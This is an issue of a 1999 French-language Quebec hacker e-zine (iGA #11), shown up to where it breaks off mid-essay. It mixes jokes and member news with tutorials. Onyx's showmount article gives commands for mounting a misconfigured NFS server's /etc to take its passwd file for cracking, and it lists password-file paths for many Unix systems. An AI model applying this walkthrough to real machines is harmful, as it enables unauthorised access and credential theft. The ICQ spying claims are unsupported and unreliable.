_________________________________________________________ / . , iGA Issue #11 [99/06] ,/ /________________________________________________________/ ____ ____ ____ ________ ________ _______________ / / / / / / . / , / __ / / / ,/ . / / / / ____/ ____ / /_/ . / / / / /___/ /___/ ____/ / / __ / /___ / / / , / . / /_ / / / / . / /____/________/________/_______/_________/____/ /___/________/ _________ ________ __________ ___ ____ _________ _______ ____ / / __ / /. __ / , \ / / , / . / \ / _____/ /_/ / / /_/ / \/ /__ . ___/ ____/ _ \ / /. / _/ / __ / / / / / ____/ /_/ / / /_ / , /\ \/ / / , / /\ . / / / / , / . , / /_________/____/ \__/____/ /___/____/ \___/ /____/ /_______/________/ ___________ ________ ________ ______ _______ _______ _______ /. __ / / / . / / /__ / /__ / / /_/ / . ____/ . ____/ ____/ _____/ / / / / / __ / /___ /___ ____/___ / / / /, / / / / , / / / , / , / ___ __/ . /__ __/ /__ /____/ /___/________/________/_______/________/ /__/ /________/ /________/ [iGA - When our logo are not lisible] ... and look like old fashoned 70'] --------------------------------------------------------------------- disclaimer for dummies [Wyzeman] --------------------------------------------------------------------- 5200pxa180510682 fcc : gw ut -bd 94 v -0 r.o.c ----> Maudite carte reseau bastard, J'VEUX UNE 3COM :( --------------------------------------------------------------------- IGA #11, le premier mag officielle en collaboration avec TSA, nous esperons que cette entraide mutuelle, sacroitra avec le temps. Ca va roxxer cette ete, laisser moi vous le dire. anyway, ces vous qui liser, alors jpeu bien vous dire ce que je veux :]. encore une fois, nous avons vecu un mois plein de rebondissement.Grande nouvelle __2 c'est enfin trouver une job au grand plaisir de son coloc so called moi meme, (enfin de l'argent). Donc ne vous etonez pas si messir __2 ralentie de quelque peu sa production et ces presence sur le net jusqu'a ce que Qwzykx est monter un robot pour remplace se chere __2 (on sais pas encore le quel des 2 ont va envoyer travailler) Pour ma part, jai passer le mois a gambader a la recherche de groupes inconues de la scene quebecoise et jai vit e compris pourquoi ils etaient inconnus, allez voir vous meme ( #tgc, #uhz, #b7m et les QHA que vous pourrez retrouver au www.qharulez.tsx.org ) tien dite merci les amis on vient de vous donnez un ti push publicitaire :]. |JaCKeL| aussi c'est trouver une job comme tech, y va encore surement sortir l'excuse qui a pas assez de temps pour ecrire. Qwzykx pour ca part a fini le cegep et a commencer a gosser a plein temps sur ce que sera le chien iga, un entité electronique que vous pourrez controler "from the net" pour visiter notre HQ, svp priere de pas entrer dans ma chambre lorsque jbaise ma blonde ou que jeffectue une messe voodoo. N'oubliez surtout pas, le hack de wwwboard est un crime punis par emprisonement au etat-unis. (Class B = Felony) Jai toujours pas payer mon impot, est-ce que le canada va faire faillite, non mais jai limpression de donner en impot la moitier du budget federal???? est-ce normal?J'imagine qu'un pays telle que Louganda, serait content davoir des contribuable tel que moi :] A oui, j'oubliais, la nature premiere du disclaim, est de nous blanchir les mains de toute saleter que vous pouriez faire en lisant notre magazine ou en vous torchant avec. Donc pour ceux qui suivent la serie depuis le debut vous pouvez bypasser cette section: --- il est strictement interdit par des lois federals de commentre toute action mettant en doute lintegriter dun systeme informatique ( une genre de charte des droits et liberter cybernetique jimagine ) et blablablablablablabla, tk vous comprennez, faite ce que vous voulez, tant qu'on a pas rap dans vos gamic, on a asser de trouble comme ca avec les notres ( msg a legard des agents constabulaire moustachu, la derniere phrase netais la qu'a but humoristique et vous savez aussi bien que nous, ou mieu meme, qu'on est totalement legal, enfin je crois :] ) Wyzeman one for all, all drink beer la GRC vous surveilles??? 10 truc pour les decouvrirs. 1) apres la parution de votre 11e E-zine ya une echafaudage pour nettoyer vos vitre alors que vous demeurer au sous-sol 2) apres la parution de votre 11e E-zine, Un technitien vien verifier votre telephone et y insert un micro. 3) apres la parution de votre 11e E-zine, Un plombier vient verifier le PH de votre eau de toillette. 4) apres la parution de votre 11e E-zine, vous appercevez une caravane avec une skin de truck de poubelle venir fouillez vos dechet quotidien. 5) apres la parution de votre 11e E-zine, des temoins jehova se presente a votre porte a tout les 10 min. 6) apres la parution de votre 11e E-zine, le bar dans lequelle vous allez toujours veillez est maintenant vide mi a par le type au lunette fumer assis dans le fond. 7) apres la parution de votre 11e E-zine, on construit un dunken donut a coter de chez vous. 8) apres la parution de votre 11e E-zine, on fait un gros champs de construction deriere chez vous ou tout les travailleurs porte un skin de veston cravate. 9) pendant la redaction de ce 11e E-Zine, ya 2 gros policier poilu qui se presente a votre porte avec des menotes. 10) apres la parution de votre 11e E-zine, binf vous revele sa reel orientation sexuelle [so scarred] quote from Wyzeman ( hum, dire que si javais poursuivie des etudes en politique au lieu de lacher apres 2 mois de sc.humaine, la planete aurais suremement un gouvernement mondial.... dire que l'humaniter va continuer de souffrir pour cause du systeme scolaire quebecois deficient ....) IGA CreW IGA JUDHA (Kebek) TSA Members (all around the world) il sagit ici des Nouvellement fondateur de IGA fusionner a IGA __2 (IGA) Onyx (TSA) Wyzeman (IGA) Nitrogen (TSA) Qwzykx (IGA) DECdeamon (TSA) |Jackel| (IGA) Putois (TSA) Bozzo (IGA) |jideel| (TSA) Data-X (IGA) collaborateur Qderf (IGA) Nuclear (IGA) FreeQ (IGA) _rix_ (IGA) Lefurotte (IGA) Number- (ind) Datacrash (ind) Endrix (ind) Corruptd (ind) Blaksmurf (ind) Werewolf (ind) et comme on le dit de par cher FrHACK plus on est de fou plus on rit pour les chinois c plus on est de fou, moins on a de riz "Le bonheur effectif parait toujours assez sordide en comparaison des larges compensations qu'on trouve à la misère. Et il va de soi que la stabilité, en tant que spectacle, n'arrive pas à la cheville de l'instabilité. Et le fait d'être satisfait n'a rien du charme magique d'une bonne lutte contre le malheur, rien du pittoresque d'un combat contre la tentation, ou d'une défaite fatale sous les coups de la passion ou du doute. Le bonheur n'est jamais grandiose". -Aldus Huxley, le meilleur des monde NB: Pour runner les progs a __2 vous devez avoir les librairies, dans la section filez du site web d'iga downloader et installer vb6libs.zip. --------------------------------- Table des matieres de ce mois-ci; --------------------------------- Ce mois-ci risque d'etre encore une fois tres interessant, nous avons rassembler bcoup d'article et je crois que le #11 est le summum pour se que j'apelle la collaboration, bcoup de collaborateurs se sont donc joint a nous pour publiez de l'information de qualité. I G A ------------------ denial montly Ezine _____________ |_ _________/ || _ _ _ || | || \|||_ _______||_______________________________________ | [.OO] @iGA rulez [FreeQ] | [.O1] @La review du mois [Qwzykx] | [.O2] EmuProxy [__2] | [.O3] @L'espion ICQ [NuCleAR] | [.O4] @Fastest CPU,Fastest reading [|JaCKeL|] | [.O5] @Showmount-un-show! [Onyx] | [.O6] @Sec5 MEQ with Hacking [(Nuage)] | [.O7] X/Wlockpicker2 improved for your Fun [__2] | [.O8] @NetCat [_rix] | [.O9] +PRESTO-PACK hacking (3 buck) [Wyzeman] | [.1O] +Anarchie sti [Gandalf] | [.11] +Civilisation o'vision [Qwzykx] | [.12] +JavaScript tutorial [Chr|5] | [.13] +Cgi flaws [__2] | [.14] +Cheating on a Save file [Qwzykx] | [.15] +Programs Cracking [_rix] | [.16] Registries Base four your past time [|JaCKeL|] | [.17] API WINSOCKS [Nitrogen] | [.18] Variables of the incredible BIoS [Qwzykx] | [.19] First Smashing stack sous Windows [_rix] | [.2O] Sygate DOS [__2] | [.21] Phonefucking #9 [Bozzo] | [.22] Infopubs [Wyzeman] Debutons avant quon ai plus ce gout dapprendre.. :} _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.OO] _|_| iGA Rules \_________/_/ So CalleD _ ______ __ _ _ When we have rules for RULES _/_/ [By: FreeQ] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Voici pour vous les ancienes loi perdue d'iga .. celle ki ce sont perdu il y as des temps immemoriaux dans un grand cataclisme comunement appeler le passage du CIH sur le board a Wyze ??? que FreeQ as essayer de vous rendre dans la plus grande autenticitee possible IGA RULE #111 every meet will be at the bar "Le Kamarad" or the worst bar in Quebec city which of whom will be the most cheapest. IGA RULE #112 try not to speak the words : crime , murder , husban , or blender in front or at least near the barmaid ... or do it at your own risks IGA RULE #128 You must read RULE #572 NoW! IGA RULE #136 Don't you ever try to read any other E-zine on the net ... you could easily find the better than IgA and no one has ever quit IgA alive IGA RULE #195 the adoption a a new rule require a vote between the "Staff" member ; the vote require an answer of the unanimity + 1 voice for the new rule to be adopted. IGA RULE #275 never should you join any gay channel while logging on #GRC , cuz some peoples scan AND log the channel for blackmail issue (watch you visitor_x) IGA RULE #286 you wont have any "sexual" intention toward Nuage unless you are ready to face the dreadfull wyzeman and his dark beast called Pontiac. IGA RULE #323 Never try to use any cracking software (bruteforce or others) on physical objects such as but not limited to : your neighbor, your fridge, the cop on the other side of the door or a Black manual Suzuki Swift. IGA RULE #335 You win a new car! ... NOT! IGA RULE #379 Anyone who would be found guilty of attempted suicide will meet death sentence ! IGA RULE #391 Don't foget to brush your teeth before after and while your midnight lunch to fight cavities and gengivitis ... IGA RULE #435 while at a meet none of the "not staff" can be drunkier than a "Staff IgA" member ... if it happen the drunk "not staff" must repay enough booze to the "Staff" member so he can restabilise the situation . IGA RULE #436 if smoking illegal substance occure while at a meet only Wyzeman can sleep on couch in the lounge . IGA RULE #572 goto RULE #792 IGA RULE #579 while at a meet or a LAN party you are responcible of yourself ,your behavior ,your guest and your beer ;so if __2 stole one of your beer you are still responcible if he drop it in the jackel's box ! IGA RULE #612 the ranking and evolution inside the "staff IgA" and "not Staff" member of IgA will be marked in points , the points are given by merite and mental achivement that help the groupe as a whole , these points can also be bought with beer , food and illegal substaces to the "Staff" at the meets . IGA RULE #630 while attending a meet a sheep of minor age canot be allowed to wander around __2 or wyzeman's chamber . IGA RULE #747 if you order a pizza you must be absolutely certain to have the right $ to pay or that you can eat it in less than 10 sec then outrun the delivery car . IGA RULE #792 you are near the end ... meet us at #335 IGA RULE #834 to achieve his Rite of Passage a new IGA "Staff" member must complete a Quest to search and fetch a fetish (any piece of at least 5cm3 or 2oz) from the car of Visitor_X . the Quest canot be completed at a meet or a LAN party. IGA RULE #836 __2 thou must obey unless thou will join #hack.fr and be damned for ever with other tourmented soul such as but not limited to : Satan , God , Patrick Normand , La Famille Dareche & Snowcrash IGA RULE #926 ever try to close #GRC before starting a chat with your boss on ICQ , miss pasting is a common and miserable cause of layoff. ___________________ [Quotes of the month]\____________________________ [Mr.Net n'a pas voulu du Hack.Fest [Gregorie de "PointCom" n'a pas voulu changer le board de Wyze! [Fucking CiH] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O1] _|_| iGA Review of Month \_________/_/ So CalleD _ ______ __ _ _ When we have rules for RULES _/_/ [By: Qwzykx] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Et c'est sur une aire de Depeche Mode que cet article s'écrit... Suite a plusieurs demandes virtuelles, des demandes virtuel, j'ai décider d'écrire sur ce que IGA représente vraiment, en somme, ce que IGA est dans un milieu ou l'oxygène est à 21%, l'azote à 78% et autres gaz 1%. Dans cet univers ou le hacking se fait à l'aide de fourchette dans un vidéo. Donc en gros afin de me backer un article facile mensuellement (un peut comme les infos pub a Wyze) dans cet article vous découvrirez peut être pourquoi iGA est si fort, du moins moralement. Comme la plus part de vous nous connaissez surtout sur IRC et avez peur de vous présenter à nous sous quelques formes que ce soit, nous vous présenterons iGA, ce mois-ci. Le groupe iGA de son nom, se rencontre à chaques semaines dans un pittoresque bar de la basse région de Québec, mais sa vous le saviez déjà je crois non!? Ces rencontres durent généralement 6h ou le temps est ralentit par les effets plutôt étranges de l'alcool. Ces rencontres on déjà attirer des personnes plus ou moins importantes on pense à Maniak, moi-même, quelques "old" hackerz peut-être un gars de la GRC spoofer en Mr. Presonality, la fille d'un ovni, un agent secret quoi prenait __2 pour BORICE, Ici on voit une somes gigolos who sherch a ogly old no money girls sans oublier le glitch non word classique Jap's in a bell phone. warper ne me remercier pas Mais la je vais parler de ce mois-ci, comme je disais. Le début du mois <--j'ai juste pas le à commencer par de généreux "Eil c'est votre meilleur" d'un peut temps de la re- partout sur le net, après ce small boust for an other, vous voyez fouttre dans le txt le résultat (le support de cet article). Mais derrière cet | article, il y a tellement plus que rien, derrière cet article il y a des gens qui on <--' crut en nous, des personnes qui se sont dévouer, qui ont donner de leurs temps afin qu'on passe de la cote C- de Maniak.net à la cote A! Mais il y a aussi autre chose que vous verrez en grande première dans le numéros 12 de IGA (le dernier de l'année, du moins de l'an de vie d'iGA car comme vous le savez,c'est vers le mois de Juillet qu'on c'est mit à penser à ce que vous connaissez présentement). Je garderai donc les GREAT TANKS pour le prochain Zine. Pour en revenir au mois qui passait, le iGA real live team a fait comme s'en ait devenu une habitude, quelques LAND FEST a la Quake 2 / Starcraft, on a encore en mémoire le dernier ou Qwzykx et __2 avec le support technologique mobile de JaCKeL, sont aller commander au respectable heure du 2h30 AM un trip BK, soit 15 Wopper Juniors d'on le prix a été calculé affectueusement à la calculatrice! De plus on a reçu quelques review sur des, disons, ancienne fabulations mais temps que c'est pas confirmer, je dis rien, au simples lecteurs, vous voyez ici l'utilité d'être dans le iGA real world life! On a aussi tester pour la première fois le prototype du prototype du chien iGA remercions Qwzykx c'est à dire moi-même ainsi que __2 qui devra over coder un client et un serveur disons plus flexible. Remercions aussi Data-X pour le 1st user de la machine,disons plutôt le premier user de l'intelligence aussi vétuste du cerveau du de la machine. On a aussi en cours de développement un open accès a disons quelque chose de priver qui est en cours de, disons écriture, et pour terminer, nous essaierons dans le courant du prochain mois un nouveau type d'emploi de disons,gestion de page web de type a vous servir d'une seule main! Ensuite, quoi de neuf.. ha oui notre coder __2 a encore pousser son Gibson OS a neuf ou presque, en nous promettant quelque chose encore plus kick-Ass, FreeQ s'est trouver l'heureux propriétaire d'un poste de radio le jeudi soir entre minuit et X heures! Qderf est pus capable de voir du StarWars et Wabun arrête pas de faire des avances a __2! Comme il arrive 3h, je dois parfaire mon doit à la vie et aller couper le gazon chez si vous aimer les trip real life, bien celui-ci s'applique a cette article car durant la prochaine heure, je serais outside a tondre le gazon tandis que cet article sera sur mon ordi, hoster par windows 95 updater Lite Step, avec un background cut and paste de huit pics de Sarah Michelle Gellar fait ou plutôt découpé par moi-même qui sera ultimement balayer par un screen saver de microsoft plus "Science", tandis que joura en 22 Hz sur mon winamp une batch de 1h40m:17s de Depeche Mode song je vous laisse donc penser et croire que ceci est vrai, car ceci est VRAI! Donc a tous les exotérique expérimental de la pense voyante, ne chercher plus la vérité! Je vous laisse donc sur la toune avec la quelle j'ai écris la première phrase de cet article: Love, In Itself de DM runtime: 4:29. Me revoilà de retour après une éprouvante session de Tiny Grass Cutter. Et si on reparlait du dernier mois.. ha oui, Wyze a aussi continuer son rôle de diplomate en allant trouver / recruter les autres groupes de hack "Underground" et c'est effectivement le bon mot! On voudrait aussi remercier les voisins d'en bas pour leurs comprenions et leur façon de dormir. Présentement, iGA se lancera peut-être je dis bien peut-être dans une industrie qui rapportent déjà des milliards, le cinéma, avec des production du genre Star Warz, the pablum mess ou le Rez-de-chaussée qui nous montrera __2 voyagent dans des univers virtuels a l'aide d'indigestion de dîner kraft. Mais tous ca n'est que fabulation vous l'aurez sûrement deviner. En somme on ne manque pas de projet à développer pour le prochain mois et comme vous le voyez, c'est peut-être trop de projet pour du monde réel penserez-vous, et vous aurez peut-être raison, mais justement, c'est ca iGA, de la fabulation et du rêve en conserve aussi, c'est ca qui unis le groupe: chaque personne veut s'impliquer en même temps dans tous ces projets qui ne feront qu'apporter à ce monde ridicule une dose de stupidité de plus. _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O2] _|_| EMUPROXY \_________/_/ So CalleD _ ______ __ _ _ Whats this crap? _/_/ [By:__2] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] ----------------------------------------------------------- [000] EmuProxy, whats is this crap? [__2] ----------------------------------------------------------- Comme ma participation a se mag va plutot se resumer au packet de programme qui vienne avec, je vais donc vous sortir tout les petits tuteurs pour le bienfait de leurs utilisations, ici nous parlerons du programme emuproxy. Tout les fichiers [programmes] sont disponible via notre site web, bien entendu. Cela aurait ete une bien pietre idee de les ajouters a nos magazines. Donc Emuproxy, quest-ce que cest encore ca? Certains ont lus le dernier magazine? Je parle du #10? Il contenait un petit programme, un denommer proxy telnet. Il permettait a son usager de pouvoir se connecter sur nimporte quel service internet [irc/telnet/ftp par exemple] a l'aide de proxies (du sp00fing). EmuProxy est maintenant une version ameliorer orienter IRC seulement. MIRC n'a pas ete concu pour exploiter les proxies et donc de ce fait ne rend pas la chose bien simple. Vous pourriez donc par exemple controler le tout via des DCC-bots, c'est pas tres facile a utiliser et surtout pas tres esthetique. Donc voila qu'EMUPROXY va vous permette de vous servir des proxies comme de banales wingates. Emuproxy creer une couche entre vous et le serveur irc qui est pas mal transparente vu par MIRC: 1) Vous chargez EMUPROXY 2) Vous ouvrez MIRC 3) Vous configurez votre TARGET: cest le proxy 4) vous configurez le Host IRC : Serveur IRC 5) Vous chargez le service/activer en cochant l'option 6) Vous tapez /server 127.0.0.1 255 pour vous connectez sur la passerelle EMUPROXY 7) Des que vous voyez CONNECTED dans le emuproxy vous tapez SEND USERNAME que vous aurez biensur configurer 8) Vous attendez :-) 9) vous minimisez Emuproxy au Systray En esperant vous aidez, __2 _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O3] _|_| L'espion ICQ \_________/_/ So CalleD _ ______ __ _ _ The spy who shagged me _/_/ [By: NuCleAR] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Plusieurs personne comme moi possède ICQ... Il s'agit d'un petit programme entre le e-mail traditionnel et l'irc pour communiquer entre 2 personne ou plus. Vous vous demander sûrement ou ICQ prend l'argent pour faire fonctionner leur serveur et leur équipe de technicien ? J'ai la réponse a cette question... ICQ est un véritable espion qui collecte tout les programme que vous avez dans votre ordinateur, leur numéro de série, la date de l'installation, Votre nom, mais ICQ peux aussi trouver votre adresse et votre numéro de téléphone si vous l'avez inscrit à une seules places a l’installation d'un programme ou a une demande de registration. Voici un peut comment icq fais pour trouver ces information : Le tout commence lors de auto-update (mise à jour automatique). Quand ICQ reçoit une demande d'update il envoi tout les information sur vos programme et les serial number et votre ip a un ordinateur spécialement pour ca qui colleque tout ces information pour ensuite crée une base de donner sur vous... Il y a 2 remède pour ce problème, le 1e est de simplement de déinstaller ICQ.Je trouve la 2e un peut plus avantageuse...il suffit de d'ésactiver la mise a jour... Pour cela : - Ouvrer Windows - Démarrer - Exécuter - Tapez "regedit.exe" sans les " " et cliquer sur OK - Cliquer 2 fois sur HKEY_CURRENT_USER - Cliquer sur Software - Cliquer sur Mirabilis - Ensuite sur ICQ - Maintenant sur DefaultPrefs - Ensuite sur auto update - Il faut métre la valeur par défaut d’auto update Dans la fenêtre de droit pour No au lieux de Yes - Redémarrer votre ordinateur et le tour est jouer ! Il est à noter que sur certaines version l'auto update n'es pas installer... Mirabilis nous on dit que ce n’étaient pas de l espionnage alors quesque l’espionnage ? Mirabilis font ceci que dans le bus de revendre ces information a microsoft ou a d'autres compagnie... si tout vos logiciel on étez acheter en copie original vous aurez sûrement pas de problème mais dans le cas contraire vous pouvez avoir de très gros problème... P.S: Les changement n’affecteront pas la performance de votre icq en aucun cas... NuClEaR 99 admin@info-shell.com www.info-shell.com _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O4] _|_| Quickness on your machine \_________/_/ So CalleD _ ______ __ _ _ Un-Valiumize your Windows _/_/ [By: JaCKeL] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Hehe, un petit article d'acceleration dans un magazine de hack ? Pkoi pas ??? Qwz divague bien sur l'image des calloux dans des flaques d'eau !!! Non sans blague, une machine rapide et en santé fait de vous un utilisateur efficace. ATTENTION ces conseils sont pour les machines dites d'utilisation standard. Je ne suis pas responsable des bugs de certain de vos programmes si vous essayer ces modifications au Bureau si vous utilisez des programme dite sur mesure ou tout autre programme de a votre compagnie. ------ Conseil No 1 ------------------------------------ LIBÉREZ le PLUS DE MÉMOIRE POSSIBLE Depuis l'apparition du DOS les 2 fichiers essentiel CONFIG.SYS et AUTOEXEC.BAT ont une grande importance. Mais depuis WINDOWS 95, c'est deux fichier sont d'une utilité moindre et se remplisse de shit qui ralenti le démmarage de vote machine. Backupez les sous le nom de config.iga et autoexec.iga (hehe belle plug !!) et maintenat éditez les. CONFIG.SYS 1. Si vous n'utiliser pas le mode MS-DOS PUR (MS DOS PUR = n'est pas le shell au DOS a partir de windows, c'est le démmarage de votre machine en DOS) Il fout dabord comprendre que Windows démmare automatiquement tout ce qui ai necéssaire a son bon fonctionnement. Donc supprimez absolument tout le contenu du config.sys. 2. Si vous utiliser le mode MS-DOS PUR Tapez comme premiere ligne : device=c:\windows\himem.sys (himem.sys est le gestionnaire de la mémoire XMS) Rechercher parmis le config.sys votre gestionnaire CD-ROM (peut ressembler a quelquechose comme ceci) DEVICE=c:\(quelquechose)\atapi.sys /d:mscd001 et placez le immédiatement apres la ligne du himem.sys. Maintenant vous pouvez effacer tous le reste car a 98% le reste de la vidange qui si trouve est inutile ou automatiquement démmaré. AUTOEXEC.BAT Tapez comme premiere ligne : @ECHO OFF ECHO OFF vous empêchera de voir toute le loadage de l'autoexec.bat et permettera a votr logo du démmarage Windows de restez jusqu'au démmarage complet de votre windows. Ensuiute gardez seulement les ligne suivant : Tous ce qui commence par SET Tous ce qui commence par Path Maintenant effacez le reste et rebooter. Si jamais quelque chose tourne mal, replacer vos backup. ------ Conseil No 2 ------------------------------------ Anti-Virus : Si vous utilisez un anti-virus, il se peut fortement qu'il utilise des ressources pour rien. Trouver les configuration de votre anti-virus et aller a la section qui dit a l'anti virus QUAND scanner. Par défault l'anti-virus est actif au : démmarage run d'un fichier download a la copie au rename a la fermeture a la modification a la création d'un nouveau fichier ... Pour gagnez un maximum de vitesse, laissez seulement le démmarage et le download a ON. ------ Conseil No 3 ------------------------------------ Le server mode (tres recommander si vous posseder + de 32 meg de RAM) Le Windows se configure automatiquement pour un maximum de 32path en mémoire et un maximum de 677 nom de fichier. Cette limite lui oblige un swap a chaque fois que vous regardez l'arborescence de vos fichiers, a chaque démmarage etc, etc . 1. WINDOWS 95 OSR2 et + Bon aller dans Panneau de configuration/system/performances sur l'onglet system de fichier cliquer sur disque-dur et sélectionner server Réseau. Meme si vote ordinateur n'est pas un serveur réseau, ceci augment la path cache a 64 path et le filename cache a 2,729. 2. WINDOWS 95 a Faites les étapes plus haut et corriger un bug de vote windows en suivant les étapes suivantes : Utiliser REGEDIT pour acceder a vote base de registre changez les valeurs daans HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion \FSTemplates\Server\NameCache par a9 0a 00 00 et les valeurs dans \PathCache a 40 00 00 00 \JaCKeL\ _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O5] _|_| Le bon vieux showmount \_________/_/ So CalleD _ ______ __ _ _ The spy who shagged me _/_/ [By: Onyx] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] 1. Introduction: ---------------- Bon, pour mon premier article dans iGA je vais vous parlez du bug showmount. C'est assez vieux comme faille mais j'ai jamais vu d'article en francais traiter de ce sujet. Bon assez parler pour rien dire, on commence !!! Tout d'abord il faut que la cible ai le service NFS d'installé. 2. Explications: ---------------- Pour ceux qui ne savent pas ce qu'est NFS je vais vous l'expliquer: Le Network File System (NFS) est un système de fichiers réparti qui permet à des utilisateurs d'accéder à des fichiers et à des répertoires situés sur des ordinateurs à distance et de traiter ces fichiers et répertoires comme s'ils étaient locaux. Le NFS fournit ses services par un rapport client-serveur. Les ordinateurs qui font leurs systèmes de fichiers, ou des répertoires, et d'autres ressources disponibles pour l'accès à distance s'appellent les serveurs. L'acte de rendre des systèmes de fichiers disponibles s'appelle exportation. Les ordinateurs, ou les processus qu'ils exécutent, qui utilisent les ressources d'un serveur sont considérés des clients. Une fois qu'un client monte un système de fichiers qu'un serveur exporte, le client peut accéder aux différents fichiers du serveur (l'accès aux répertoires exportés peut être limité aux clients spécifiques). 3. La Nature du bug showmount: ------------------------------ Ce bug provient d'une mauvaise configuration du système NFS sur la machine serveur, ce qui permet au client de monter le répertoire /etc sur un quelconque shell unix. 4. Comment Exploiter le bug: ---------------------------- Sous un shell unix, saisissez la commande: showmount --all ip Normalement ca va vous donner tous les répertoires montables. Ensuite créer un répertoire ou vous désirez monter le bug. Aller dans votre répertoire racine / et créer un répertoire: mkdir showmount Ensuite pour exploiter le bug utiliser la commande: mount -a www.domaine.com:/etc /showmount La commande "mount" permet de monter une partition, un cd-rom ou encore un lecteur de disquette, local ou à distance. Si ca marche c'est que vous avez réussi ;) Et vous êtes maintenant sur le disque dur de la machine. Ensuite aller dans le répertoire ou vous avez monter le bug: cd /showmount et faite un "ls" pour voir les fichiers. Maintenant il ne vous reste plus qu'à récupéré le fichier passwd dans /etc et de le cracker. Voilà, il reste encore à trouver un serveur avec ce genre de bug, il y'en a pas beaucoup mais ca existe ! 5. Commandes unix de bases: --------------------------- La plupart des commandes du DOS ont des équivalents sous unix et linux. Ci-dessous quelques unes des commandes principales dont vous aurez besoin pour utiliser un shell unix. Dos Unix --- ---- CD = CD DIR = LS COPY = CP MOVE = MV DEL = RM 6. Quelques Rappelles: ---------------------- Bon j'ai fais encore un petit récapitulatif des chemins d'accès ou l'on trouve les fichiers passwords. (c'est les répertoires par défauts, c'est clair que vous ne les trouverez pas forcement là.) Type de Unix: Chemin: Marque: ------------- ------- ------- Linux 1.1 /etc/shadow * SunOS4.1+c2 /etc/security/passwd.adjunct ##username SunOS 5.0 /etc/shadow System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database AIX 3 /etc/security/passwd ! ou /tcb/auth/files// A/UX 3.0s /tcb/files/auth/?/ * BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files// DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x PS: Ce bug ne marche que si la cible a le service NFS installé. Onyx.le.francais.de.service ;] _________________ _____ _ ______ ____ __ __ _ _ _________________ _.;'_______ ______ _____ __ __ _ __ _ __ _ _ [' [#.O6] _|_| MEQ Secondaire 5 : Production Ecrite \_________/_/ So CalleD _ ______ __ _ _ When a final Exam takes only 5K _/_/ [By:{NuAgE)] \ ___________________ __________________ _________ ______/_/_ __ _ __ _ _ _,] Voici un fait veridique, pour vous montrez que meme l'opinion des profs changent :-) Production écrite du MEQ de secondaire 5 Résultat : 94% Les nouveaux moyens de communications, bénéfiques ou maléfiques? Avec l’arrivée des institutions financières sur Internet, beaucoup de genre qui sont trop occupés avec leurs tâches personnelles se sont tournés vers ce moyen pour effectuer leurs transactions financieères, mettre à jour leurs comptes et même accomplir leurs achats (épicerie, linge ou autre). Mais la question est : « Les nouveaux moyens de communication représentent-ils une menace pour la vie privée ? » Selon moi, non puisque ces pirates de l’informatique qui, selon la plupart des gens, veulent percer le mystère sur la vie personnelle des autres perçoivent ces recherches comme un jeu. Et, en plus, il y a un bon nombre de solutions qui permettent de faire ses achats en toute sécurité. Les pirates informatiques ne veulent, pour la plupart, que dépasser leurs limites, ce qui les rend pour ainsi dire, plutôt inoffensifs. Selon Michel Venne dans Vie privée et démocratie à l’ère de l’informatique : « Des pirates de Québec ont pénétré quatre fois dans le système informatique du Conseil exécutif du Gouvernement du Québec. Ils n’ont rien trouvé. Mais ils auraient pu. » Ce qui me fait, une fois de plus, affirmer que ces pirates ne veulent que s’amuser. S’ils avaient voulu trouver des renseignements personnels sur quiconque, croyez- moi qu’ils l’auraient prise cette information. Michel Venne continue : « Dans l’un des numéros de NPC ( Northern Phun Co.,un regroupement de pirates informatiques qui n’existe plus maintenant mais qui publiait des magazines électroniques ), j’ai lu la recette pour pénétrer le réseau des bureaux de crédit Equifax. » Même s’ils savent comment faire, cela ne veut pas nécessairement dire qu’ils le font. Par exempl, moi, je lis le mensuel de IGA ( Illegal Granted Access, la relève actuelle de NPC ), alors, même si je sais comment briser ou pénétrer tel ou tel système, je ne le fais pas. De puis, d’après Montreal Campus, plusieurs pirates informatiques mettre leur talent et leur connaissance au profit d’une compagnie, voir Equifax, afin de trouver des failles dans leur système. Ce qui me ramère à vous faire comprendre que les pirates ne sont pas dangereux et que la sévurité de vos renseignements personnels n’est pas mise en jeu par eux. De toute façon, les 80% des Canadiens qui craignent que leur vie privée soit menacée, selon un sondage effectué en 1994 par la maison Gallup, on des moyens qui leur permettent de garder la confidentialité. Le Centre de rechercher en droit public ( CRDP ) de l’Université de Montréal a mis au point un cybertribunal. Ce moyen consiste à régler les problèmes de l’environnement électronique par voie électronique. Ce qui empêche les victimes de se déplacer au Palais de Justice et de payer des sommes gigantesques pour des conflits informatiques. Aussi selon Mathieu-Robert Sauvé, dans Les diplômés, plus de 30% des entreprises utilisent l’encodage. Cette méthode permet d’avoir un numéro d’identification personnel ( NIP ) que seul l’utilisateur connaît. Ce procédé est utilisé pour la plupart des transactions financières à l’aide d’une carte de débit. Ce qui me permet de dire que les personnes qui ne sont pas confiantes avec les nouveaux moyens de communicatioon qui pourraient nuire à leur vie personnelle sont des gens qui ne font pas attention ou qui ne veulent pas se mettre à jour avec les nouvelles technologies. Pour conclure, je vous rappelle que la majorité des pirates informatiques ne veulenet que dépassé des limites et qu’ile ne veulent pas faire de tort à qui que ce soit, et aussi qu’il y a plusieurs 